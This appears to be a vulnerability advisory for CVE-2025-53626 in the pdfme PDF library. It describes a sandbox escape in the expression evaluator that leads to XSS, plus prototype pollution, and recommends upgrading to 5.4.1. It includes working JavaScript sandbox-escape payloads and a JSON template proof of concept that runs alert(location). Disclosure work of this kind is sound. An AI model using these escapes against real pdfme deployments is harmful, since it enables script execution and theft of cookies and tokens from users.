CVE-2025-53626
@pdfme/common vulnerable to to XSS and Prototype Pollution through its expression evaluation
Description
## Summary The expression evaluation feature in pdfme 5.2.0 to 5.4.0 contains critical vulnerabilities allowing sandbox escape leading to XSS and prototype pollution attacks. ## Details ### 1. Sandbox Escape Leading to XSS The expression evaluator's sandbox can be bypassed to execute arbitrary JavaScript code. Attackers can obtain the Function constructor through indirect methods: ```javascript // Attack vector 1: Using Object.getOwnPropertyDescriptor { ((f, g) => f(g(Object), "constructor").value)(Object.getOwnPropertyDescriptor, Object.getPrototypeOf)("alert(location)")() } // Attack vector 2: Using object property access { { f: Object.getOwnPropertyDescriptor }.f({ g: Object.getPrototypeOf }.g(Object), "constructor").value("alert(location)")() } ``` Both payloads bypass the sandbox restrictions and execute `Function("alert(location)")()`. ### 2. Prototype Pollution The expression evaluator allows access to prototype accessor methods which can be exploited with Object.assign to pollute the prototype chain: - `__lookupGetter__` - `__lookupSetter__` - `__defineGetter__` - `__defineSetter__` ## Impact These vulnerabilities allow attackers to: - Execute arbitrary JavaScript code in the context of the application - Steal sensitive information including cookies and tokens - Modify application behavior through prototype pollution - Potentially perform actions on behalf of users ## Proof of Concept Loading the following template in pdfme triggers `alert(location)`: ```json { "schemas": [[{ "name": "field1", "type": "text", "content": "{ ((f, g) => f(g(Object), 'constructor').value)(Object.getOwnPropertyDescriptor, Object.getPrototypeOf)('alert(location)')() }", "position": { "x": 0, "y": 0 }, "width": 100, "height": 100 }]], "basePdf": { "width": 100, "height": 100 }, "pdfmeVersion": "5.4.0" } ```
How to fix CVE-2025-53626
To remediate CVE-2025-53626, upgrade the affected package to a fixed version below.
- —upgrade to 5.4.1 or later
Is CVE-2025-53626 being exploited?
Low — EPSS is 0.1%, meaning exploitation activity has not been observed at scale.